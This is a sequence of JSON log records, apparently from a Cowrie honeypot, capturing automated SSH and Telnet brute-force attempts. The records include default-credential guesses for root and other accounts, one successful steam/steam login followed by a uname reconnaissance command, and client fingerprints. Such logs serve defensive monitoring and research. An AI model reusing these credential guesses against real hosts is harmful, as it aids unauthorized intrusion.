{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:12.998609Z","src_ip":"31.40.204.166","session":"bfe943359bc9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35748,"dst_ip":"10.17.0.5","dst_port":23,"session":"a89a10e30a38","protocol":"telnet","message":"New connection: 152.42.224.71:35748 (10.17.0.5:23) [session: a89a10e30a38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:13.384557Z"}
{"eventid":"cowrie.session.closed","duration":36.194122076034546,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:20.204704Z","src_ip":"152.42.224.71","session":"adae03231204","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":41930,"dst_ip":"159.203.135.109","dst_port":22,"session":"b1a0ab42c938","protocol":"ssh","message":"New connection: 31.40.204.166:41930 (159.203.135.109:22) [session: b1a0ab42c938]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:22.884918Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:22.902941Z","src_ip":"31.40.204.166","session":"b1a0ab42c938","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:23.018271Z","src_ip":"31.40.204.166","session":"b1a0ab42c938","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"steam","message":"login attempt [steam/steam] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:24.313592Z","src_ip":"31.40.204.166","session":"b1a0ab42c938","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:24.739298Z","src_ip":"31.40.204.166","session":"b1a0ab42c938","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:24.742992Z","src_ip":"31.40.204.166","session":"b1a0ab42c938","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36344,"dst_ip":"10.17.0.5","dst_port":23,"session":"73866e295f35","protocol":"telnet","message":"New connection: 152.42.224.71:36344 (10.17.0.5:23) [session: 73866e295f35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:24.797355Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:24.907426Z","src_ip":"31.40.204.166","session":"b1a0ab42c938","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:24.912700Z","src_ip":"31.40.204.166","session":"b1a0ab42c938","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36354,"dst_ip":"10.17.0.5","dst_port":23,"session":"f07f8133fcc6","protocol":"telnet","message":"New connection: 152.42.224.71:36354 (10.17.0.5:23) [session: f07f8133fcc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:25.306283Z"}
{"eventid":"cowrie.session.closed","duration":1.4313902854919434,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:26.228629Z","src_ip":"152.42.224.71","session":"73866e295f35","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53874,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ea6cc8bca88","protocol":"telnet","message":"New connection: 152.42.224.71:53874 (10.17.0.5:23) [session: 8ea6cc8bca88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:26.340206Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53890,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d7c9d981828","protocol":"telnet","message":"New connection: 152.42.224.71:53890 (10.17.0.5:23) [session: 1d7c9d981828]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:26.659801Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53892,"dst_ip":"10.17.0.5","dst_port":23,"session":"330a5c9844b6","protocol":"telnet","message":"New connection: 152.42.224.71:53892 (10.17.0.5:23) [session: 330a5c9844b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:26.825426Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53904,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7059bd1834f","protocol":"telnet","message":"New connection: 152.42.224.71:53904 (10.17.0.5:23) [session: d7059bd1834f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:29.343825Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53914,"dst_ip":"10.17.0.5","dst_port":23,"session":"9bd6f0c2b147","protocol":"telnet","message":"New connection: 152.42.224.71:53914 (10.17.0.5:23) [session: 9bd6f0c2b147]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:32.140702Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53926,"dst_ip":"10.17.0.5","dst_port":23,"session":"14ec70c06aae","protocol":"telnet","message":"New connection: 152.42.224.71:53926 (10.17.0.5:23) [session: 14ec70c06aae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:33.916634Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53942,"dst_ip":"10.17.0.5","dst_port":23,"session":"f178dac1be63","protocol":"telnet","message":"New connection: 152.42.224.71:53942 (10.17.0.5:23) [session: f178dac1be63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:34.579088Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":48026,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b25a576331f","protocol":"ssh","message":"New connection: 31.40.204.166:48026 (159.203.135.109:22) [session: 9b25a576331f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:34.924007Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:34.929445Z","src_ip":"31.40.204.166","session":"9b25a576331f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:35.088434Z","src_ip":"31.40.204.166","session":"9b25a576331f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123456","message":"login attempt [root/abc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:35.687525Z","src_ip":"31.40.204.166","session":"9b25a576331f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.32458972930908,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:35.717928Z","src_ip":"152.42.224.71","session":"7f0ef09ed504","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:36.819468Z","src_ip":"31.40.204.166","session":"9b25a576331f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.91721296310425,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:37.285798Z","src_ip":"152.42.224.71","session":"013eadc0c1c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51692,"dst_ip":"10.17.0.5","dst_port":23,"session":"53dba714f475","protocol":"telnet","message":"New connection: 152.42.224.71:51692 (10.17.0.5:23) [session: 53dba714f475]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:37.315510Z"}
{"eventid":"cowrie.session.closed","duration":57.03204679489136,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:38.019190Z","src_ip":"152.42.224.71","session":"931ffa8595b7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.24617099761963,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:39.136752Z","src_ip":"152.42.224.71","session":"a802ba680e4d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.245.43.228","src_port":35272,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f79c9ea5f38","protocol":"ssh","message":"New connection: 172.245.43.228:35272 (10.17.0.5:22) [session: 2f79c9ea5f38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:42.996813Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:43.000382Z","src_ip":"172.245.43.228","session":"2f79c9ea5f38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:43.075630Z","src_ip":"172.245.43.228","session":"2f79c9ea5f38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ubuntu","message":"login attempt [root/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:43.296301Z","src_ip":"172.245.43.228","session":"2f79c9ea5f38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.140534162521362,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:43.524931Z","src_ip":"152.42.224.71","session":"a89a10e30a38","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51700,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a82c6662db0","protocol":"telnet","message":"New connection: 152.42.224.71:51700 (10.17.0.5:23) [session: 5a82c6662db0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:44.138164Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:44.369825Z","src_ip":"172.245.43.228","session":"2f79c9ea5f38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.245.43.228","src_port":35544,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e433edcfc9f","protocol":"ssh","message":"New connection: 172.245.43.228:35544 (10.17.0.5:22) [session: 9e433edcfc9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:44.435992Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:44.451829Z","src_ip":"172.245.43.228","session":"9e433edcfc9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:44.507346Z","src_ip":"172.245.43.228","session":"9e433edcfc9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"debian","message":"login attempt [root/debian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:44.823210Z","src_ip":"172.245.43.228","session":"9e433edcfc9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":37722,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e7488e9f65a","protocol":"ssh","message":"New connection: 31.40.204.166:37722 (159.203.135.109:22) [session: 3e7488e9f65a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:45.886224Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:45.892856Z","src_ip":"31.40.204.166","session":"3e7488e9f65a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:45.898258Z","src_ip":"172.245.43.228","session":"9e433edcfc9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.245.43.228","src_port":35546,"dst_ip":"10.17.0.5","dst_port":22,"session":"f8915a795981","protocol":"ssh","message":"New connection: 172.245.43.228:35546 (10.17.0.5:22) [session: f8915a795981]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:45.966610Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:45.974356Z","src_ip":"172.245.43.228","session":"f8915a795981","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:46.045819Z","src_ip":"172.245.43.228","session":"f8915a795981","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:46.086519Z","src_ip":"31.40.204.166","session":"3e7488e9f65a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"centos","message":"login attempt [root/centos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:46.280639Z","src_ip":"172.245.43.228","session":"f8915a795981","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hello123","message":"login attempt [root/hello123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:46.709213Z","src_ip":"31.40.204.166","session":"3e7488e9f65a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57168,"dst_ip":"10.17.0.5","dst_port":23,"session":"655d6c32d4bc","protocol":"telnet","message":"New connection: 152.42.224.71:57168 (10.17.0.5:23) [session: 655d6c32d4bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:46.767627Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:47.356344Z","src_ip":"172.245.43.228","session":"f8915a795981","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.245.43.228","src_port":35558,"dst_ip":"10.17.0.5","dst_port":22,"session":"9961def49b14","protocol":"ssh","message":"New connection: 172.245.43.228:35558 (10.17.0.5:22) [session: 9961def49b14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:47.425765Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:47.429593Z","src_ip":"172.245.43.228","session":"9961def49b14","protocol":"ssh"}
